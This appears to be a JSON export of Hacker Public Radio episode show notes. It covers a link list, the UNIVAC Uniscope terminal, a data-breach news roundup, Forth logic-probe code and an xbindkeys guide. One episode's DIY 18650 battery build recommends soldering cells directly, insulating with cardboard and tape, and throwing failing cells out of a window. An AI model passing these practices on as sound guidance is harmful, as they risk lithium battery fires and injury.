                                                            • \n
                                                            • neomutt:\nNeoMutt is a text-based application which interacts with users through\ndifferent menus which are mostly line-/entry-based or page-based.
                                                            • \n
                                                            • gnu:\nemacs is an extensible, customizable, free/libre text\neditor — and more.
                                                            • \n
                                                            • wikipedia: Usenet\nis a worldwide distributed discussion system available on computers. It\nwas developed from the general-purpose Unix-to-Unix Copy (UUCP) dial-up\nnetwork architecture.
                                                            • \n
                                                            • wikipedia:\nGoogle+ (pronounced and sometimes written as Google Plus; sometimes\ncalled G+) was a social network owned and operated by Google. The\nnetwork was launched on June 28, 2011, in an attempt to challenge other\nsocial networks, linking other Google products like Google Drive,\nBlogger and YouTube.
                                                            • \n
                                                            • techandcoffee: A virtual\nwater cooler for the world of tech.
                                                            • \n
                                                            • wikipedia:\nYahoo! Messenger (sometimes abbreviated Y!M) was an\nadvertisement-supported instant messaging client and associated protocol\nprovided by Yahoo!. Yahoo! Messenger was provided free of charge and\ncould be downloaded and used with a generic \"Yahoo ID\" which also\nallowed access to other Yahoo! services, such as Yahoo! Mail.
                                                            • \n
                                                            • discord: A place that makes it\neasy to talk every day and hang out more often.
                                                            • \n
                                                            • telegram: Telegram is a\ncloud-based mobile and desktop messaging app with a focus on security\nand speed.
                                                            • \n
                                                            • IRC IRC\nis short for Internet Relay Chat. It is a popular chat service still in\nuse today.
                                                            • \n
                                                            • mintCast The podcast by the\nLinux Mint community for all users of Linux.
                                                            • \n
                                                            • distrohoppersdigest:\nWe are three Blokes who love Linux and trying out new stuff.
                                                            • \n
                                                            • fullcirclemagazine:
                                                            • \n
                                                            • linuxlads:
                                                            • \n
                                                            • samsclub: Sam’s Club is a\nmembership warehouse club, a limited-item business model that offers our\nmembers quality products.
                                                            • \n
                                                            • walmart: Walmart Inc. is an\nAmerican multinational retail corporation that operates a chain of\nhypermarkets, discount department stores, and grocery stores from the\nUnited States, headquartered in Bentonville, Arkansas.
                                                            • \n
                                                            • target: Target Corporation is\nan American big box department store chain headquartered in Minneapolis,\nMinnesota.
                                                            • \n
                                                            • mcdonalds:\nMcMuffin is a family of breakfast sandwiches sold by the international\nfast food restaurant chain McDonald's.
                                                            • \n
                                                            • joinmastodon: Social\nnetworking that's not for sale.
                                                            • \n
                                                            • ciachef: You love food. And\nyou’re pretty sure you want to make it your life. If this sounds like\nyou, then The Culinary Institute of America is the only place you need\nto be.
                                                            • \n
                                                            • fda:\nA food allergy is an abnormal immune response to food. The symptoms of\nthe allergic reaction may range from mild to severe.
                                                            • \n
                                                            • healthline:\nSpend less time in the kitchen: Choose which meals to cook first based\non cook times.
                                                            • \n
                                                            • wikipedia:\nBeekeeping is the maintenance of bee colonies, commonly in man-made\nbeehives.
                                                            • \n
                                                            • veganfriendly:\nThe Ethics of Veganism: Ethical Reasons to Go Vegan.
                                                            • \n
                                                            • worldwildlife:\nBeef production has several distinct and significant impacts on the\nenvironment.
                                                            • \n
                                                            • xess:\nHow to install, test, and use your new XS40 or XSP Board.\n
                                                                \n
                                                              • ebay: SBC ISA\n386 SX40 single computer cpu card OMNI-300 4MB.
                                                              • \n
                                                            • \n
                                                            • linuxmint: Linux Mint is a\ncommunity-driven Linux distribution based on Ubuntu, bundled with a\nvariety of free and open-source applications.
                                                            • \n
                                                            • linuxliteos: Linux Lite\nis a Linux distribution based on Debian and Ubuntu created by a team of\nprogrammers led by Jerry Bezencon.
                                                            • \n
                                                            • sparkylinux: SparkyLinux is a\ndesktop-oriented operating system based on the Debian operating\nsystem.
                                                            • \n
                                                            • ubuntu: Ubuntu is a Linux\ndistribution based on Debian and composed mostly of free and open-source\nsoftware.
                                                            • \n
                                                            • snapcraft: Snaps are\ncontainerised software packages that are simple to create and install.\nThey auto-update and are safe to run.
                                                            • \n
                                                            • slackware: Slackware is a\nLinux distribution created by Patrick Volkerding in 1993.
                                                            • \n
                                                            • archlinux: Arch Linux is an\nindependently developed, x86-64 general-purpose Linux distribution that\nstrives to provide the latest stable versions of most software by\nfollowing a rolling-release model.
                                                            • \n
                                                            • gnu: GNU GRUB is a\nMultiboot boot loader. It was derived from GRUB, the GRand Unified\nBootloader, which was originally designed and implemented by Erich\nStefan Boleyn.
                                                            • \n
                                                            • wikipedia:\nMavis Beacon Teaches Typing is an application software program designed\nto teach touch typing.
                                                            • \n
                                                            • wikipedia:\nMicrosoft Windows is a computer operating system developed by\nMicrosoft.
                                                            • \n
                                                            • wikipedia:\nList of Microsoft 365 applications and services.
                                                            • \n
                                                            • freedos: FreeDOS is a\ncomplete, free, DOS-compatible operating system. While we provide some\nutilities, you should be able to run any program intended for\nMS-DOS.
                                                            • \n
                                                            • blackberry:\nBlackBerry was a brand of smartphones and\nother related mobile services and devices.
                                                            • \n
                                                            • wikipedia: OS/2\n(Operating System/2) is a series of computer operating systems,\ninitially created by Microsoft and IBM under the leadership of IBM\nsoftware designer Ed Iacobucci.
                                                            • \n
                                                            • pcom: The PCOM\nnetwork account is used to logon to on-campus computers and to\nauthenticate off-campus users.
                                                            • \n
                                                            • wikipedia: The\nInternational Business Machines Corporation (IBM), nicknamed Big Blue,\nis an American multinational technology corporation headquartered in\nArmonk, New York, with operations in over 175 countries. It specializes\nin computer hardware, middleware and software and provides hosting and\nconsulting services in areas ranging from mainframe computers to\nnanotechnology.
                                                            • \n
                                                            • wikipedia: The\nIBM RT PC (RISC Technology Personal Computer) is a family of workstation\ncomputers from IBM introduced in 1986. These were the first commercial\ncomputers from IBM that were based on a reduced instruction set computer\n(RISC) architecture.
                                                            • \n
                                                            • wikipedia: The\nPersonal System/2 or PS/2 is IBM's second generation of personal\ncomputers. Released in 1987, it officially replaced the IBM PC, XT, AT,\nand PC Convertible in IBM's lineup.
                                                            • \n
                                                            • wikipedia:\nToken Ring is a computer networking technology used to build local area\nnetworks. It was introduced by IBM in 1984, and standardized in 1989 as\nIEEE 802.5.
                                                            • \n
                                                            • wikipedia:\nA Network Termination Device (NTD) is a customer-side network interface\ndevice used by the Australian National Broadband Network (NBN). Network\ntermination devices provide multiple bridges for customers to access the\nNBN.
                                                            • \n
                                                            • wikipedia:\nThe Internet protocol suite, commonly known as TCP/IP, is a framework\nfor organizing the set of communication protocols used in the Internet\nand similar computer networks according to functional criteria. The\nfoundational protocols in the suite are the Transmission Control\nProtocol (TCP), the User Datagram Protocol (UDP), and the Internet\nProtocol (IP).
                                                            • \n
                                                            • rtx: The Raytheon Company is a\nmajor U.S. defense contractor and industrial corporation with core\nmanufacturing concentrations in weapons and military and commercial\nelectronics.
                                                            • \n
                                                            • wikipedia:\nIn electronics, a wafer (also called a slice or substrate) is a thin\nslice of semiconductor, such as a crystalline silicon (c-Si), used for\nthe fabrication of integrated circuits and, in photovoltaics, to\nmanufacture solar cells.
                                                            • \n
                                                            • wikipedia: A\ntransistor is a semiconductor device used to amplify or switch\nelectrical signals and power. The transistor is one of the basic\nbuilding blocks of modern electronics.
                                                            • \n
                                                            • wikipedia: A\nresistor is a passive two-terminal electrical component that implements\nelectrical resistance as a circuit element. In electronic circuits,\nresistors are used to reduce current flow, adjust signal levels, to\ndivide voltages, bias active elements, and terminate transmission lines,\namong other uses.
                                                            • \n
                                                            • mit:\nIBM's 360 and Early 370 Systems.
                                                            • \n
                                                            • history:\nThe Great San Francisco Earthquake.
                                                            • \n
                                                            • wikipedia: A\nsecretarial pool or typing pool is a group of secretaries working at a\ncompany available to assist any executive without a permanently assigned\nsecretary. These groups have been reduced or eliminated where executives\nhave been assigned responsibility for writing their own letters and\nother secretarial work.
                                                            • \n
                                                            • debian: Debian, also known as\nDebian GNU/Linux, is a Linux distribution composed of free and\nopen-source software, developed by the community-supported Debian\nProject, which was established by Ian Murdock on August 16, 1993.
                                                            • \n
                                                            • nobaraproject: The Nobara\nProject, to put it simply, is a modified version of Fedora Linux with\nuser-friendly fixes added to it.
                                                            • \n
                                                            • getfedora: Fedora Linux is a\nLinux distribution developed by the Fedora Project. Fedora contains\nsoftware distributed under various free and open-source licenses and\naims to be on the leading edge of open-source technologies.
                                                            • \n
                                                            • suckless: dwm is a\ndynamic window manager for Xorg.
                                                            • \n
                                                            • wikipedia:\nThe ThinkPad X series is a line of laptop computers and convertible\ntablets produced by Lenovo with less power than its other counterparts.\nIt was initially produced by IBM until 2005.
                                                            • \n
                                                            • newsgroups:\nUsenet is a very popular platform, and Newsgroups are a crucial part of\nIt because Users to interact with each other, share and share\nstuff.
                                                            • \n
                                                            • wikipedia:\nThe Gopher protocol (/ˈɡoʊfər/) is a communication protocol designed for\ndistributing, searching, and retrieving documents in Internet Protocol\nnetworks.
                                                            • \n
                                                            • wikipedia:\nGemini is an application-layer internet communication protocol for\naccessing remote documents, similar to the Hypertext Transfer Protocol\n(HTTP) and Gopher.
                                                            • \n
                                                            • github:\nAmfora aims to be the best looking Gemini client with the most\nfeatures... all in the terminal. It does not support Gopher or other\nnon-Web protocols - check out Bombadillo for that.
                                                            • \n
                                                            • circumlunar:\nYou can use the following Gemini clients to connect to this server via\nthe Gemini protocol and access the full range of content.
                                                            • \n
                                                            • wikipedia:\nDial-up Internet access is a form of Internet access that uses the\nfacilities of the public switched telephone network (PSTN) to establish\na connection to an Internet service provider (ISP) by dialing a\ntelephone number on a conventional telephone line.
                                                            • \n
                                                            • youtube:\nThe FCC and Federal marshals raid a pirate radio station in Knoxville\nTennessee.
                                                            • \n
                                                            • fish:\nnewsgroup for discussion by recovering sysadmins.
                                                            • \n
                                                            • thunderbird:\nThunderbird is an open source project, which means anyone can contribute\nideas, designs, code, and time helping fellow users.
                                                            • \n
                                                            • wikipedia:\nEternal September or the September that never ended is Usenet slang for\na period beginning around 1993 when Internet service providers began\noffering Usenet access to many new users.
                                                            • \n
                                                            • wikipedia: BBM,\nalso known by its full name BlackBerry Messenger, was a proprietary\nmobile instant messenger and videotelephony application included on\nBlackBerry devices that allows messaging and voice calls between\nBlackBerry OS, BlackBerry 10, iOS, Android, and Windows Mobile\nusers.
                                                            • \n
                                                            • opensuse: openSUSE, formerly\nSUSE Linux and SuSE Linux Professional, is a Linux distribution\nsponsored by SUSE Linux GmbH and other companies.
                                                            • \n
                                                            • bbc:\nWhat hermits can teach us about isolation.
                                                            • \n
                                                            • stwww: THE STAR\nTREK NEWSGROUPS.
                                                            • \n
                                                            • ebay:\n2,400+ results for hp elitedesk on ebay.
                                                            • \n
                                                            • wikipedia: M.2,\npronounced m dot two and formerly known as the Next Generation Form\nFactor (NGFF), is a specification for internally mounted computer\nexpansion cards and associated connectors. M.2 replaces the mSATA\nstandard, which uses the PCI Express Mini Card physical card layout and\nconnectors.
                                                            • \n
                                                            • oggcamp: OggCamp is an\nunconference celebrating Free Culture, Free and Open Source Software,\nhardware hacking, digital rights, and all manner of collaborative\ncultural activities and is committed to creating a conference that is as\ninclusive as possible.
                                                            • \n
                                                            • mass:\nIt is illegal for private citizens to use, possess, or sell fireworks in\nMassachusetts, or to purchase them legally elsewhere and then transport\nthem into the state. The law prohibits any article designed to produce a\nvisible or audible effect.
                                                            • \n
                                                            • wikipedia:\nThe COVID-19 pandemic, also known as the coronavirus pandemic, is an\nongoing global pandemic of coronavirus disease 2019 (COVID-19) caused by\nsevere acute respiratory syndrome coronavirus 2 (SARS-CoV-2). The novel\nvirus was first identified in an outbreak in the Chinese city of Wuhan\nin December 2019.
                                                            • \n
                                                            • cdc:\nVaccination often already covered under employee health plans Improves\nmorale Benefits to Employees: Reduces absences due to sickness and\ndoctor visits Improves health Convenience Improves morale Benefits will\nvary based on investment by employers in championing vaccination and\nnumber of employees vaccinated.
                                                            • \n
                                                            • wikipedia:\nThe McDonnell F-101 Voodoo is a supersonic jet fighter which served the\nUnited States Air Force (USAF) and the Royal Canadian Air Force\n(RCAF).
                                                            • \n
                                                            • wikipedia:\nThe Raytheon MIM-23 HAWK (\"Homing all the way killer\") is an American\nmedium-range surface-to-air missile.
                                                            • \n
                                                            • wikipedia: C-4\nor Composition C-4 is a common variety of the plastic explosive family\nknown as Composition C, which uses RDX as its explosive agent.
                                                            • \n
                                                            • wikipedia:\nThe Boeing C-97 Stratofreighter was a long-range heavy military cargo\naircraft developed from the B-29 and B-50 bombers.
                                                            • \n
                                                            • wikipedia:\nThe Boeing B-29 Superfortress is an American four-engined\npropeller-driven heavy bomber, designed by Boeing and flown primarily by\nthe United States during World War II and the Korean War.
                                                            • \n
                                                            • nasa:\nWhat is a relay satellite?
                                                            • \n
                                                            • truckstop:\nLong-Haul Trucking: Everything You Need to Know.
                                                            • \n
                                                            • bodhilinux: Bodhi Linux, a\nlightweight distribution featuring the fast & fully customizable\nMoksha Desktop. The 64-bit is built on top of Ubuntu (20.04).
                                                            • \n
                                                            • stormos: Storm OS is a\nLinux distribution based on Arch, and LFS (Linux from Scratch)!
                                                            • \n
                                                            • stormdos: a\nmultitasking 32-bit operating system written in Free Pascal (FPK, http://www.freepascal.org ) and\ndistributed under GNU GPL v2 license and SDK files under GNU Lesser GPL\nv2.1.
                                                            • \n
                                                            • wikipedia:\nList of Linux distributions.
                                                            • \n
                                                            • sourceforge:\nTitan Linux is an all new distro built on the Debian Stable branch. It's\na fully functional yet minimal KDE Plasma desktop experience focusing on\nusability and performance with a wide range of hardware support out of\nthe box.
                                                            • \n
                                                            • wikipedia:\nDyslexia, also known until the 1960s as word blindness, is a disorder\ncharacterized by reading below the expected level for one's age.\nDifferent people are affected to different degrees. Problems may include\ndifficulties in spelling words, reading quickly, writing words,\n\"sounding out\" words in the head, pronouncing words when reading aloud\nand understanding what one reads.
                                                            • \n
                                                            • wikipedia: The\nDiagnostic and Statistical Manual of Mental Disorders, Fifth Edition\n(DSM-5), is the 2013 update to the Diagnostic and Statistical Manual of\nMental Disorders, the taxonomic and diagnostic tool published by the\nAmerican Psychiatric Association (APA). In the United States, the DSM\nserves as the principal authority for psychiatric diagnoses.
                                                            • \n
                                                            • wikipedia:\nIn 1994, DSM-IV was published, listing 410 disorders in 886 pages. The\ntask force was chaired by Allen Frances and was overseen by a steering\ncommittee of twenty-seven people, including four psychologists.
                                                            • \n
                                                            • wikipedia: The\nthyroid, or thyroid gland, is an endocrine gland in vertebrates. In\nhumans it is in the neck and consists of two connected lobes.
                                                            • \n
                                                            • learning:\nWhy use personality assessment tests?
                                                            • \n
                                                            • wikipedia:\nMajor depressive disorder (MDD), also known as clinical depression, is a\nmental disorder characterized by at least two weeks of pervasive low\nmood, low self-esteem, and loss of interest or pleasure in normally\nenjoyable activities.
                                                            • \n
                                                            • drugs:\nTestosterone Injection.
                                                            • \n
                                                            • healthline:\nLow testosterone in males is common as they get older. Symptoms can be\nsubtle, but there is treatment available if the symptoms affect your\nlifestyle.
                                                            • \n
                                                            • wikipedia:\nEndocrinology (from endocrine + -ology) is a branch of biology and\nmedicine dealing with the endocrine system, its diseases, and its\nspecific secretions known as hormones. It is also concerned with the\nintegration of developmental events proliferation, growth, and\ndifferentiation, and the psychological or behavioral activities of\nmetabolism, growth and development, tissue function, sleep, digestion,\nrespiration, excretion, mood, stress, lactation, movement, reproduction,\nand sensory perception caused by hormones.
                                                            • \n
                                                            • wikipedia:\nNephrology (from Greek nephros \"kidney\", combined with the suffix -logy,\n\"the study of\") is a specialty of adult internal medicine and pediatric\nmedicine that concerns the study of the kidneys, specifically normal\nkidney function (renal physiology) and kidney disease (renal\npathophysiology), the preservation of kidney health, and the treatment\nof kidney disease, from diet and medication to renal replacement therapy\n(dialysis and kidney transplantation).
                                                            • \n
                                                            • allrecipes:\nSalmon Tacos.
                                                            • \n
                                                            \n

                                                            Thanks To:
                                                            \nMumble Server: Delwin
                                                            \nHPR Site/VPS: Joshua Knapp - AnHonestHost.com
                                                            \nStreams: Honkeymagoo
                                                            \nEtherPad: HonkeyMagoo
                                                            \nShownotes by: Sgoti and hplovecraft

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"hpr,new years,community","version":0,"downloads":0,"valid":1}, {"id":3815,"date":"2023-03-17","title":"The UNIVAC Uniscope - The first terminal with a video monitor","duration":2345,"summary":"Hear about the Uniscope 300 mainframe terminal from 1964.","notes":"

                                                            In the early days of computing, the computing power was kept in centralized large mainframes and users would connect to them via so called \"dumb\" terminals. These often provided their output through a printer and continuous feed of paper. However in 1964 UNIVAC introduced the Uniscope 300, which was one of the first terminals to provide a video monitor for display. With the introduction of this system came the introduction of several concepts that we take for granted today and they are described during the reading of this brochure.

                                                            \n\n

                                                            The brochure was made available through the Computer History Museum at https://www.computerhistory.org/collections/catalog/102646317

                                                            \n\n

                                                            As I mention in the episode, $15,000 USD in 1964 is worth considerably more today, according to an online inflation calculator it is now worth approximately $144,000 today. So even if that was for 48 terminals as it seems to mention in the hand written note, that might equate to about $3000 per terminal in 2023 dollars.

                                                            \n\n

                                                            Here are some related links below:\n\n

                                                            \n\n","hostid":194,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"computer history,terminals","version":0,"downloads":0,"valid":1}, {"id":3816,"date":"2023-03-20","title":"Post Apocalyptic 4s5 Battery Pack ","duration":479,"summary":"Tough Battery Design Worthy of the Post Apocalyptic Robotics Database ","notes":"

                                                            HR000000000
                                                            \nH Hybrid: Denotes some prepurchased or hard to find components
                                                            \nR Robotics: suitable for robots

                                                            \n

                                                            buy: 4s 40A BMS
                                                            \nhttps://www.aliexpress.com/item/4000025857655.html\n(can't specifically vouch for this vendor, just chose the first that\ncame up)
                                                            \nmake sure to choose 4s and balance

                                                            \n
                                                              \n
                                                            1. find or buy materials: duct or gorilla tape, trashed computer dvd\nor cd drive, 20 18650 cells, molex connectors(you can also use barrel\njacks or whatever you want to transfer power), wire and maybe 'tab wire'\nhttps://nl.aliexpress.com/item/32650006768.html

                                                            2. \n
                                                            3. solder everything together as per schematic and pictures (there\nis theoretically a danger in soldering cells, but I have never had a\nproblem. Have a pair of pliers and a nearby window handy to throw them\nout of if anything goes wrong)

                                                            4. \n
                                                            5. wrap in cardboard and tape as per pictures

                                                            6. \n
                                                            7. add the cd/dvd drive lids(if you taped well you won't short\nanything and burn your house down

                                                            8. \n
                                                            9. tape dvd lids to battery

                                                            10. \n
                                                            \n

                                                            Getting into the battery for maintenance just requires a utility\nknife.

                                                            \n

                                                            Watt Hour does a great job describing the 3s BMS, which is very\nsimilar to the 4s used in my case: https://yewtu.be/watch?v=QNENyu97w2A

                                                            \n

                                                            Battery Schematic
                                                            \n
                                                            Click the\nthumbnail to see the full-sized image

                                                            \n

                                                            Cut through tape to reveal battery
                                                            \n\n
                                                            Click the thumbnail to see the full-sized\nimage

                                                            \n

                                                            Flat metal holds cells together
                                                            \n\n
                                                            Click the thumbnail to see the full-sized\nimage

                                                            \n

                                                            Detail of 4.2v
                                                            \n
                                                            Click the thumbnail\nto see the full-sized image

                                                            \n

                                                            Only have to desolder one side
                                                            \n
                                                            Click\nthe thumbnail to see the full-sized image

                                                            \n

                                                            New cells in
                                                            \n
                                                            Click the thumbnail to\nsee the full-sized image

                                                            \n

                                                            Make sure there is thick tape covering battery
                                                            \n\n
                                                            Click the thumbnail to see the full-sized\nimage

                                                            \n

                                                            DVD drive case for stability
                                                            \n
                                                            Click\nthe thumbnail to see the full-sized image

                                                            \n

                                                            Tape the DVE case to battery
                                                            \n
                                                            Click\nthe thumbnail to see the full-sized image

                                                            \n

                                                            Charge board with Molex connector
                                                            \n\n
                                                            Click the thumbnail to see the full-sized\nimage

                                                            \n

                                                            Outdoors 1
                                                            \n
                                                            Click the thumbnail to\nsee the full-sized image

                                                            \n

                                                            Outdoors 2
                                                            \n
                                                            Click the thumbnail to\nsee the full-sized image

                                                            \n","hostid":401,"series":103,"explicit":1,"license":"CC-BY-SA","tags":"battery,18650,cells,4s","version":0,"downloads":0,"valid":1}, {"id":3817,"date":"2023-03-21","title":"The Oh No! News.","duration":700,"summary":"Oh No! News, is Good News.","notes":"

                                                            The Oh No! news.

                                                            \n

                                                            Oh No! News is Good News.

                                                            \n
                                                            \n
                                                              \n
                                                            • firewalltimes:\nRecent Data Breaches – 2023.\n
                                                                \n
                                                              • sec:\nOn January 5, 2023, - T-Mobile Discloses Data Breach Affecting 37\nMillion Customers.
                                                              • \n
                                                              • On January 5, 2023, T-Mobile US, Inc. identified that a bad actor\nwas obtaining data through a single Application Programming Interface\n(“API”) without authorization.
                                                              • \n
                                                            • \n
                                                            • bleepingcomputer:\nTruthFinder, Instant Checkmate confirm data breach affecting 20M\ncustomers.\n
                                                                \n
                                                              • instantcheckmate:\n2019 Account List Data Security Incident.
                                                              • \n
                                                              • truthfinder:\n2019 Account List Data Security Incident.
                                                              • \n
                                                              • \"We learned recently that a list, including name, email, telephone\nnumber in some instances, as well as securely encrypted passwords and\nexpired and inactive password reset tokens, of Instant Checkmate\nsubscribers was being discussed and made available in an online forum.\nWe have confirmed that the list was created several years ago and\nappears to include all customer accounts created between 2011 and 2019.\nThe published list originated inside our company.\"
                                                              • \n
                                                            • \n
                                                            • sec:\nSEC Charges NBA Hall of Famer Paul Pierce for Unlawfully Touting and\nMaking Misleading Statements about Crypto Security.\n
                                                                \n
                                                              • The Securities and Exchange Commission today announced charges\nagainst former NBA player Paul Pierce for touting EMAX tokens, crypto\nasset securities offered and sold by EthereumMax, on social media\nwithout disclosing the payment he received for the promotion and for\nmaking false and misleading promotional statements about the same crypto\nasset. Pierce agreed to settle the charges and pay $1.409 million in\npenalties, disgorgement, and interest.
                                                              • \n
                                                            • \n
                                                            • sec:\nSEC Charges Terraform and CEO Do Kwon with Defrauding Investors in\nCrypto Schemes.\n
                                                                \n
                                                              • The Securities and Exchange Commission today charged Singapore-based\nTerraform Labs PTE Ltd and Do Hyeong Kwon with orchestrating a\nmulti-billion dollar crypto asset securities fraud involving an\nalgorithmic stablecoin and other crypto asset securities.
                                                              • \n
                                                            • \n
                                                            • discourse.ubuntu:\nUbuntu Flavor Packaging Defaults.\n
                                                                \n
                                                              • To maintain this focus while also providing user choice, Ubuntu and\nits flavors consider debs and snaps the default experience. Users have\nthe freedom of choice to get their software from other sources,\nincluding Flatpak. A way to install these alternatives is, and will\ncontinue to be, available for installation from the Ubuntu archive with\na simple command.
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n
                                                              \n
                                                            • References (APA format).\n
                                                                \n
                                                              • Heiligenstein,\nM. X. (2023, January 27). Recent Data Breaches - 2023.\nFirewalltimes. https://firewalltimes.com/recent-data-breaches/
                                                              • \n
                                                              • U.S. Securities and Exchange Commission (2023, January 19). Form 8-K\n[T-Moble data breach]. SEC. https://www.sec.gov/ix?doc=/Archives/edgar/data/0001283699/000119312523010949/d641142d8k.htm
                                                              • \n
                                                              • Abrams, L. (2023, February 3) TruthFinder, Instant Checkmate confirm\ndata breach affecting 20M customers. bleepingComputer. https://www.bleepingcomputer.com/news/security/truthfinder-instant-checkmate-confirm-data-breach-affecting-20m-customers/
                                                              • \n
                                                              • instantcheckmate. (2023, January). 2019 Account List Data Security\nIncident. instantcheckmate. https://www.instantcheckmate.com/security-incident-alert/
                                                              • \n
                                                              • truthfinder. (2023, January). 2019 Account List Data Security\nIncident. truthfinder. https://www.truthfinder.com/security-incident-alert/
                                                              • \n
                                                              • U.S. Securities and Exchange Commission (2023, February 17). SEC\nCharges NBA Hall of Famer Paul Pierce for Unlawfully Touting and Making\nMisleading Statements about Crypto Security. SEC. https://www.sec.gov/news/press-release/2023-34
                                                              • \n
                                                              • U.S. Securities and Exchange Commission (2023, February 16). SEC\nCharges Terraform and CEO Do Kwon with Defrauding Investors in Crypto\nSchemes. SEC. https://www.sec.gov/news/press-release/2023-32
                                                              • \n
                                                              • @kewisch (2023,\nFebruary 21). Ubuntu Flavor Packaging Defaults. [Ubuntu Discourse]. https://discourse.ubuntu.com/t/ubuntu-flavor-packaging-defaults/34061
                                                              • \n
                                                              • Ljubuncic\nI. (2019, August 29). A technical comparison between snaps and debs.\nubuntu. https://ubuntu.com/blog/a-technical-comparison-between-snaps-and-debs
                                                              • \n
                                                              • [ts.] (2022, March 22). Re: apt installs snap packages. ubuntu\nlists. https://lists.ubuntu.com/archives/foundations-bugs/2022-March/470881.html
                                                              • \n
                                                              • Tilloy O. (2022, February 7). Re: If apt installs snap package, then\nwarn, because maybe i dont want snap package. ubuntu lists. https://lists.ubuntu.com/archives/foundations-bugs/2022-February/468140.html
                                                              • \n
                                                              • @reducing\nactivity (2021, June 12). How can I stop apt from installing snap\npackages? askubuntu. https://askubuntu.com/questions/1345385/how-can-i-stop-apt-from-installing-snap-packages
                                                              • \n
                                                            • \n
                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"Oh No, News\", Data Breaches, Crypto Schemes, Packaging Defaults","version":0,"downloads":0,"valid":1}, {"id":3818,"date":"2023-03-22","title":"nop test redux","duration":571,"summary":"A better nop test","notes":"

                                                            nop redux

                                                            \n

                                                            This is the updated code

                                                            \n
                                                            -logicprobe\nmarker -logicprobe\n\nvariable Compare\nvariable Count\n\n$23 constant PINB\n$24 constant DDRB\n$25 constant PORTB\n\n$100 constant PINH\n$101 constant DDRH\n$102 constant PORTH\n\n$a0 constant TCCR4A\n$a1 constant TCCR4B\n$a8 constant OCR4A\n\n$b0 constant TCCR2A\n$b1 constant TCCR2B\n$b3 constant OCR2A\n\n$2c constant PINE\n$2d constant DDRE\n$2e constant PORTE\n\n$6a constant EICRB\n$3d constant EIMSK\n\n: ext4.irq ( -- ) Count @ 1+ Count ! ;i\n\n: logicprobe.init ( -- )\n  \\ tone generatoed through timer2\n  %0001.0000 DDRB mset \\ d10, pb4\n  %0100.0010 TCCR2A c!    \\ use OC2A, ctc mode\n  $ff OCR2A c! \\ compare falue\n\n  %0 DDRE c! \\ e input\n  %0000.0010 EICRB mset \\ falling edge\n  ['] ext4.irq #6 int! \\ attach interrupt\n;\n\n\\ helper words\n: open.gate ( -- )   0 Count ! %0001.0000 EIMSK mset ;\n: close.gate ( -- )   %0001.0000 EIMSK mclr ;\n\n\\ tone stuff\n: high.tone ( -- ) %0000.0100 TCCR2B c! 750 ms 0 TCCR2B c! ;\n: low.tone ( -- ) %0000.0110 TCCR2B c! 750 ms 0 TCCR2B c! ;\n: alt.tone ( -- )\n  3 for\n    %0000.0100 TCCR2B c! 150 ms 0 TCCR2B c!\n    150 ms\n    %0000.0110 TCCR2B c! 150 ms 0 TCCR2B c!\n    150 ms\n  next\n;\n\n: process.data ( -- )\n  Count @ 1-\n  Count !\n  Count @ 0 > if\n    \\ cr ." freq=" 10 * .\n    cr ." pulse"\n    alt.tone      \\ sound output\n  else\n    %0001.0000 PINE mtst if\n      cr ." high"\n      high.tone   \\ sound output\n    else\n      cr ." low"\n      low.tone    \\ sound output\n    then then\n;\n\n: wait 100 ms ;\n\n: sample ( -- ) open.gate wait close.gate process.data ;\n\n\\ words called at the forth command line to do the test
                                                            \n
                                                              \n
                                                            1. demo tones
                                                            2. \n
                                                            \n
                                                            low.tone\nhigh.tone\nalt.tone
                                                            \n
                                                              \n
                                                            1. the test
                                                            2. \n
                                                            \n
                                                            sample \\ a stop clocked\nstart.clock\nsample
                                                            \n
                                                              \n
                                                            1. a0 line
                                                            2. \n
                                                            \n
                                                            sample
                                                            \n
                                                              \n
                                                            1. stop.clock and sample a0
                                                            2. \n
                                                            \n
                                                            stop.clock\nsample
                                                            \n
                                                              \n
                                                            1. reset the z80 and single step probing the m1 signal
                                                            2. \n
                                                            \n
                                                            reset\nstep\nstep\nstep\nstep\nstep\nstep\nrun\nstep sample\nstep sample\nstep sample\nstep sample\nsample
                                                            \n

                                                            if its jammed hit it, if it breaks it needed replacing anyway

                                                            \n","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"z80, forth, retrocomputer","version":0,"downloads":0,"valid":1}, {"id":3819,"date":"2023-03-23","title":"Remapping Mouse Buttons with XBindKeys on Linux","duration":600,"summary":"I explain how I assigned different functions to the spare buttons on my trackball mice.","notes":"

                                                            Remapping Mouse Buttons with XBindKeys on Linux

                                                            \n\n

                                                            After a really long time of not bothering to figure out how to do this, I finally did some research and found out how to remap the extra buttons on my Kensington Expert mouse and my Logitech marble trackball mouse in a Linux environment. The tools it needed were xvkbd, xdotool, and xbindkeys. I already had the first two installed, but had never used xbindkeys before. I also used xev to identify the button numbers and key numbers.

                                                            \n\n

                                                            The Kensington Expert Mouse is one that I've had for about 15 years, and it was fairly expensive when I bought it, something like $75 or $80. It has four large buttons with a large trackball in the middle and a scroll wheel going around the track ball. I bought it at a time when I was doing a lot of graphic work that required clicking and dragging and double-clicking and stuff like that. If you're using it in a Mac or Windows environment, there is a special configuration tool that you can use to set it up just how you want. I had always configured it so that the upper left and upper right buttons were used for double-clicking and click dragging. This helped reduce a lot of strain on my hands. I have never gotten this to work on Linux, though, until today.

                                                            \n\n

                                                            If you want to do this yourself, the first thing to do is make sure you have these packages installed: xvkbd, xdotool, and xbindkeys.

                                                            \n\nThen create a configuration file in your home directory:\n\n
                                                            \n~/.xbindkeysrc\n
                                                            \n\nIn order to map the upper left button to \"double click,\" and the upper right button to \"click and drag,\" I added these lines to the configuration file:\n\n
                                                            \n# Double-click assigned to button 2 (upper left)\n\n\"xdotool sleep 0.2 click 1 ; xdotool click 1\"\n      b:2\n\n# Click and Drag assigned to button 8 (upper right)\n\n\"xdotool sleep 0.2 mousedown 1\"\n      b:8\n
                                                            \n\nTo test the settings, simply kill the xbindkeys process and restart it by typing xbindkeys:\n\n
                                                            \nuser@hostname:~$ pkill -f xbindkeys\nuser@hostname:~$ xbindkeys\n
                                                            \n\n\n

                                                            On my desktop computer I have a Logitech marble trackball mouse, and it has two small keys that are assigned to back and forward by default. This can be handy for navigating file managers and web pages, but I wanted them to be assigned to \"page up\" and \"page down\" (to make up for the lack of a scroll wheel on the mouse). Here is the configuration file for that machine:

                                                            \n\n
